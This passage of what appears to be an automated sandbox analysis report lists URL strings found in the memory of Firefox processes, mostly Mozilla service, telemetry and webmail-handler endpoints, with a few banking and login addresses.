Source: firefox.exe, 00000010.00000003.3048859019.000001A8B6D6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048647105.000001A8B6D50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048185549.000001A8B6D1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3047492392.000001A8B6B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000010.00000003.3048393713.000001A8B6D36000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsexperiment-apis/aboutConfigPrefs.jsonexperiment-apis/
Source: firefox.exe, 00000010.00000003.3264652075.000001A8C3148000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 00000010.00000003.3264652075.000001A8C3148000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3325000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3236863796.000001A8C06F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 00000010.00000002.3297704058.0000010530930000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.comrward-
Source: firefox.exe, 00000010.00000003.3264652075.000001A8C3148000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 00000010.00000002.3302124352.000001A8A5F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881Updates
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B612E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3216975077.000001A8B3E71000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B61BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3315084846.000001A8B3E30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000010.00000003.3223260101.000001A8B8239000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3210441384.000001A8B3E71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ib.absa.co.za/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/apps/oldsync
Source: firefox.exe, 00000010.00000003.3262588896.000001A8B83C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/apps/oldsyncS
Source: firefox.exe, 00000010.00000003.3238252370.000001A8C3AB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3234183339.000001A8C3AB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/apps/relay
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3325000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/cmd/
Source: firefox.exe, 00000010.00000003.3262588896.000001A8B83C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/cmd/H
Source: firefox.exe, 00000010.00000003.3262588896.000001A8B83C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/cmd/HCX
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetry
Source: firefox.exe, 00000010.00000003.3262588896.000001A8B83C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryU
Source: firefox.exe, 00000010.00000003.3262588896.000001A8B83C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryUFj
Source: firefox.exe, 00000010.00000003.3264434250.000001A8C317B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/X
Source: firefox.exe, 00000016.00000002.3287438057.0000029D563C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2BF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3291725111.000001F42D003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 00000010.00000002.3316913295.000001A8B4977000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2BEB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3285380485.000001F42CDF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 00000010.00000003.3273318626.000001A8B8304000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-desktop/events/1/1097c845-c431-43a5-a65c-3382b
Source: firefox.exe, 00000010.00000002.3339830804.000001A8B7BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-desktop/messaging-system/1/7755ad51-2370-4623-
Source: firefox.exe, 00000010.00000002.3316913295.000001A8B49B2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3343255794.000001A8B7E07000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/firefox-desktop/metrics/1/6d7eb9ba-6a74-433e-8595-8295
Source: firefox.exe, 00000010.00000002.3340745234.000001A8B7C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3336939375.000001A8B74A5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/messaging-system/undesired-events/1/a8e29def-355a-4f78
Source: firefox.exe, 00000010.00000002.3340745234.000001A8B7C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3339830804.000001A8B7BEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit/messaging-system/undesired-events/1/cd4ae739-6293-4846
Source: firefox.exe, 00000010.00000003.3236863796.000001A8C06C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 00000010.00000003.3178058975.000001A8C3235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://infra.spec.whatwg.org/#ascii-whitespace
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000010.00000002.3330787150.000001A8B6F4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 00000010.00000003.3262271793.000001A8B84F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema.
Source: firefox.exe, 00000010.00000003.3262271793.000001A8B84F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema./
Source: firefox.exe, 00000010.00000003.3262271793.000001A8B84F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/
Source: firefox.exe, 00000010.00000003.3262271793.000001A8B84F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema/=
Source: firefox.exe, 00000010.00000003.3178058975.000001A8C3235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/libraries/standalone-templates/#rendering-lit-html-templates
Source: firefox.exe, 00000010.00000003.3178058975.000001A8C3235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/directives/#stylemap
Source: firefox.exe, 00000010.00000003.3178058975.000001A8C3235000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lit.dev/docs/templates/expressions/#child-expressions)
Source: firefox.exe, 00000010.00000002.3330787150.000001A8B6F66000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 00000010.00000002.3330787150.000001A8B6F29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3323580066.000001A8B650A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 00000010.00000003.3242315863.000001A8B9F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 00000010.00000003.3242315863.000001A8B9F2E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000010.00000002.3327834513.000001A8B6A50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3315084846.000001A8B3E30000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://lookerstudio.google.com/embed/reporting/
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B61BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3326090847.000001A8B677F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3221122829.000001A8B677F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%shttps://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%ssetSlowScriptDebugHandler/debugService.activationH
Source: firefox.exe, 00000010.00000003.3065247433.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B61BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3165389836.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3326090847.000001A8B677F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3327649126.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3221122829.000001A8B677F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%shttp://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B61BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3221122829.000001A8B677F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B61BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3302124352.000001A8A5FDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3287438057.0000029D56372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2B86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3285380485.000001F42CD8F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestError
Source: firefox.exe, 00000016.00000002.3287438057.0000029D56372000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestabout
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mochitest.youtube.com/
Source: firefox.exe, 00000010.00000002.3302124352.000001A8A5F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3316913295.000001A8B4995000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: powershell.exe, 00000007.00000002.3051147504.0000000005AD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ok.ru/
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B61BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3326090847.000001A8B677F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3221122829.000001A8B677F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s:
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000010.00000003.3144090733.000001A8B7F67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3144473251.000001A8B7F67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3140660799.000001A8B7F67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/page/
Source: firefox.exe, 00000010.00000003.3144090733.000001A8B7F67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3144473251.000001A8B7F67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3140660799.000001A8B7F67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/player/
Source: firefox.exe, 00000010.00000003.3065247433.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B61BA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3165389836.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3326090847.000001A8B677F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3327649126.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3221122829.000001A8B677F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s987b474c-0394-42cb-b0b9-f5bb10befaec
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sbrowser.fixup.domainsuffixwhitelist.Can
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B61BA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B6190000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comvalidateProfilerWebChannelUrladdDevToolsItemsToSubviewtoggleProfilerKeyS
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B61F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://push.services.mozilla.com
Source: firefox.exe, 00000010.00000002.3320702661.000001A8B61F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://push.services.mozilla.com/
